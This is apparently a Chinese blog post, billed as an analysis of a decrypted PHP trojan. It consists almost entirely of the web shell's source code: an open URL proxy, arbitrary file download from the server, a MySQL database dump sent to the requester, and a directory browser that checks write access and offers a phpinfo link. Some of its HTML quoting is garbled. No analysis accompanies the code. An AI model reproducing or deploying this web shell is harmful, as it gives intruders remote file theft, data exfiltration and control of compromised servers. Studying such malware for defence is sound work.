php 木马的分析(加密破解)

2019-04-10 10:40:58王旭

        echo($code);
        exit;
    }
    }
    }
}
// 在线代理
if (isset($_POST['url'])) {$proxycontents = @file_get_contents($_POST['url']);echo ($proxycontents) ? $proxycontents : "<body bgcolor="#F5F5F5" style="" style="""font-size: 12px;"><center><br><p><b>获取 URL 内容失败</b></p></center></body>";exit;
}
// 下载文件
if (!empty($downfile)) {if (!@file_exists($downfile)) {echo "<script type="text/javascript"><!--
alert('你要下的文件不存在!')
// --></script>";} else {$filename = basename($downfile);$filename_info = explode('.', $filename);$fileext = $filename_info[count($filename_info)-1];header('Content-type: application/x-'.$fileext);header('Content-Disposition: attachment; filename='.$filename.'');header('Content-Description: PHP Generated Data');header('Content-Length: '.filesize($downfile));@readfile($downfile);exit;}
}
// 直接下载备份数据库
if ($_POST['backuptype'] == 'download') {
    @mysql_connect($servername,$dbusername,$dbpassword) or die("数据库连接失败");
    @mysql_select_db($dbname) or die("选择数据库失败");    
    $table = array_flip($_POST['table']);
    $result = mysql_query("SHOW tables");
    echo ($result) ? NULL : "出错: ".mysql_error();

    $filename = basename($_SERVER['HTTP_HOST']."_MySQL.sql");
    header('Content-type: application/unknown');
    header('Content-Disposition: attachment; filename='.$filename);
    $mysqldata = '';
    while ($currow = mysql_fetch_array($result)) {
        if (isset($table[$currow[0]])) {
            $mysqldata.= sqldumptable($currow[0]);
            $mysqldata.= $mysqldata."rn";
        }
    }
    mysql_close();
    exit;
}

// 程序目录
$pathname=str_replace('','/',dirname(__FILE__));
$dirpath=str_replace('','/',$_SERVER["DOCUMENT_ROOT"]);

// 获取当前路径
if (!isset($dir) or empty($dir)) {
    $dir = ".";
    $nowpath = getPath($pathname, $dir);
} else {
    $dir=$_GET['dir'];
    $nowpath = getPath($pathname, $dir);
}

// 判断读写情况
$dir_writeable = (dir_writeable($nowpath)) ? "可写" : "不可写";
$phpinfo=(!eregi("phpinfo",$dis_func)) ? " | <a href="" href="""?action=phpinfo" target="_blank">PHPINFO()</a>" : "";
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